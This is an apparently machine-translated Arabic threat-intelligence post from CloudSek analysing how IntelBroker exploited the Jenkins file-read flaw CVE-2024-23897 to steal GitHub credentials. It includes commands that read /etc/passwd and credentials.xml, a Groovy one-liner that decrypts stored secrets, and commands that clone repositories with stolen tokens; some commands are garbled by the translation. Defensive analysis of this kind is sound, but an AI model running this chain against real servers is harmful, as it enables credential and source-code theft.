🚀 لقد رفعت CloudSek جولة B1 من السلسلة B1 بقيمة 19 مليون دولار - تعزيز مستقبل الأمن السيبراني التنبؤي
Back
استخبارات الخصم
Table of Content

الفئة: استخبارات العدو
المنطقة: عالمية
التاريخ: 24 يوليو 2024
الجزء العلوي: أخضر

ملخص تنفيذي

تتعمق هذه المقالة في التعقيدات التقنية لـ CVE-2024-23897، وهي ثغرة أمنية غير مصادق عليها لتضمين الملفات المحلية (LFI) في جينكينز، وتستعرض كيفية قيام الجهات الفاعلة في مجال التهديد بالاستفادة منها لاختراق مستودعات Github الخاصة بالشركة.

التدفق المحتمل للاستغلال

إعداد المسرح: مثال جينكينز الضعيف

تبدأ قصتنا بخادم Jenkins الذي يبدو غير ضار، وهو حجر الزاوية في خطوط أنابيب التكامل والنشر المستمر. لسوء الحظ، أصبحت هذه الحالة بالذات، التي تعمل بإصدار ضعيف (Jenkins 2.441 والإصدارات السابقة، LTS 2.426.2 والإصدارات السابقة)، هدفًا للنوايا الخبيثة للجهات الفاعلة في مجال التهديد مؤخرًا.

لفهم الهجوم، دعنا أولاً ننشئ بيئة ضعيفة مماثلة باستخدام Docker:

خطوات إعداد دوكر:

1. اسحب صورة Docker باستخدام الأمر:

دوكر بول جينكينز/جينكينز: 2.440-jdk17

2. قم بتشغيل الحاوية:

دوكر ران -د --اسم جينكينز -p 8080:8080 -p 50000:50000 -v/المسار/إلى/لك/المحلية/جينكينز/المنزل: /var/jenkins_home جينكينز/جينكينز:2.440-jdk17

يقوم هذا الأمر بتشغيل حاوية Jenkins، وتعيين المنافذ 8080 و 50000 إلى الجهاز المضيف وتركيب دليل محلي إلى دليل /var/jenkins_home الخاص بالحاوية.

3. الوصول إلى غلاف الحاوية:

دوكر إكسيك -إت <container_name>/بين/باش

مع إعداد المسرح، دعونا نستكشف كيف تستغل الجهات الفاعلة في مجال التهديد الثغرة الأمنية.

كشف الثغرة الأمنية - CVE-2024-23897

CVE-2024-23897 هي ثغرة LFI غير مصدقة تسمح للمهاجمين بقراءة الملفات التعسفية على خادم Jenkins. تنشأ هذه الثغرة الأمنية من التحقق غير الصحيح من صحة الإدخال، مما يمكّن المهاجمين من التلاعب بمعلمات محددة وخداع الخادم للوصول إلى محتويات الملفات الحساسة وعرضها.

السرقة - سرقة أسرار جيثب

  1. الاستطلاع: من المحتمل أن تبدأ الجهات الفاعلة في التهديد بتحديد مثيل Jenkins الضعيف وتأكيد وجود تكامل Git.
  2. استغلال LFI: باستخدام الثغرة الأمنية، تمكنت IntelBroker من الوصول إلى الملفات الحساسة على خادم Jenkins، بما في ذلك credentials.xml الملف، الذي يخزن بيانات الاعتماد المشفرة المستخدمة في عمليات التكامل المختلفة
  3. فك تشفير المسروقات: ثم استخدم IntelBroker وحدة تحكم Jenkins النصية لفك تشفير محتويات credentials.xml ملف، والحصول على إمكانية الوصول إلى مفاتيح Github SSH ورموز الوصول
  4. نهب المستودعات: باستخدام بيانات الاعتماد المسروقة، يمكن لـ IntelBroker المصادقة على Github والوصول إلى المستودعات الخاصة للشركة، وسرقة شفرة المصدر القيمة، ومعلومات الملكية، والبيانات الحساسة الأخرى

التحليل الفني

دعونا نتعمق في التفاصيل الفنية لكيفية استغلال IntelBroker لـ LFI واستخراج بيانات اعتماد Github:

1. قراءة الملفات الحساسة:

من المحتمل أن تستخدم IntelBroker أداة Jenkins CLI جنبًا إلى جنب مع ثغرة LFI لقراءة محتويات الملفات الحساسة. على سبيل المثال، لقراءة /وما إلى ذلك/تم تمريره ملف:

جافا -jar jenkins-cli.jar -s http://target-jenkins-server:8080/ -المصادقة @password .txt الإصدار @/etc/passwd

لقطة شاشة تعرض محتويات «/etc/passwd» و «/etc/hosts»

من خلال معالجة الرمز @، يمكنهم خداع الخادم لتفسير المسار بعده كملف لتضمينه.

ملاحظة: تتوفر أيضًا نصوص POC الخاصة بـ CVE-2024-23897 على جيثب.

من المحتمل أن تكون IntelBroker قد تخلت عن credentials.xml باستخدام POC أدناه أو برنامج نصي من github، للحصول على بيانات الاعتماد المشفرة المخزنة. مسار النظام للملف الجاري /var/jenkins_home/credentials.xml

لقطة شاشة تعرض ملف credentials.xml

2. التحليل credentials.xml ملف:

يقوم Jenkins بتخزين جميع بيانات الاعتماد العالمية في شكل مشفر في هذا الملف. يمكن فك تشفير الهاش المخزن باستخدام Hudson.util.secret.decrypt ().

لقطة شاشة تعرض المعرف الفريد والمفاتيح المشفرة المخزنة في بيانات الاعتماد ومجلد xml

3. فك تشفير بيانات الاعتماد:

بمجرد أن تمكنوا من الوصول إلى credentials.xml ملف، يستخدم ممثلو التهديد وحدة تحكم Jenkins Script والأمر التالي لفك تشفير بيانات الاعتماد المشفرة:

println (Hudson.util.secret.from String («{XXX=}»). getPlainText ())

استبدال {XXX=} مع السلسلة المشفرة من credentials.xml سمح لهم الملف باسترداد بيانات اعتماد Github ذات النص العادي.

لقطة شاشة تعرض مفتاح SSH الخاص الذي تم فك تشفيره

4. المساومة على مستودعات Github:

باستخدام مفاتيح SSH المسروقة ورموز الوصول، يمكن للجهات الفاعلة في مجال التهديد:

استنساخ المستودعات الخاصة:

باستخدام الأمر git clone مع مفتاح SSH المسروق المضاف إلى وكيل SSH الخاص بهم أو عن طريق تضمين رمز الوصول مباشرة في عنوان URL:

git clone [email protected]: اسم المستخدم المستهدف/private-repo.git

ملاحظة:

  • باستخدام مفتاح SSH الخاص، يمكن لممثل التهديد استنساخ المستودعات المعروفة له وعدم إدراجها.
  • باستخدام رمز Github Access، يمكن لممثل التهديد استنساخ المستودعات بالإضافة إلى إدراجها

الوصول إلى المستودعات عبر واجهة برمجة تطبيقات Github:

باستخدام رمز الوصول المسروق في عنوان التخويل، يمكنهم التفاعل مع Github API لإدراج المستودعات وتنزيلها:

curl -H «التفويض: الرمز المميز github_access_token» https://api.github.com/user/repos

الدروس المستفادة والتخفيف

يعد الاختراق الناجح لـ IntelBroker بمثابة تذكير صارخ بأهمية الوعي بالأمن السيبراني والتدابير الأمنية الاستباقية. فيما يلي بعض النقاط الرئيسية واستراتيجيات التخفيف:

  • التصحيح في الوقت المناسب: حافظ على خادم Jenkins محدثًا بأحدث تصحيحات الأمان للتخفيف من نقاط الضعف المعروفة.
  • مصادقة قوية: قم بفرض كلمات مرور قوية وتنفيذ المصادقة متعددة العوامل (MFA) لجميع حسابات المستخدمين، خاصة تلك التي تتمتع بامتيازات إدارية.
  • مبدأ الامتياز الأقل: منح المستخدمين الأذونات الضرورية المطلوبة فقط لأداء مهامهم. تجنب استخدام الحسابات المشتركة.
  • عمليات تدقيق الأمان المنتظمة: قم بإجراء عمليات تدقيق أمنية منتظمة واختبار الاختراق لتحديد نقاط الضعف ومعالجتها بشكل استباقي.
  • معلومات التهديدات: استخدم معلومات التهديد لفهم دوافع الفاعل المهدد وأهدافه وسلوكياته الهجومية.
  • تقنية شادو: مراقبة وإدارة استخدام الأجهزة أو البرامج المتعلقة بتكنولوجيا المعلومات من قبل الإدارات أو الأفراد دون علم تكنولوجيا المعلومات أو مجموعة الأمان داخل المؤسسة.

من خلال فهم تعقيدات CVE-2024-23897 وتنفيذ ممارسات أمنية قوية، يمكن للمؤسسات حماية نفسها بشكل أفضل ضد مثل هذه الهجمات المعقدة.

كلاودسك ترياد
قسم أبحاث التهديدات وتحليلات المعلومات في CloudSek

Related Blogs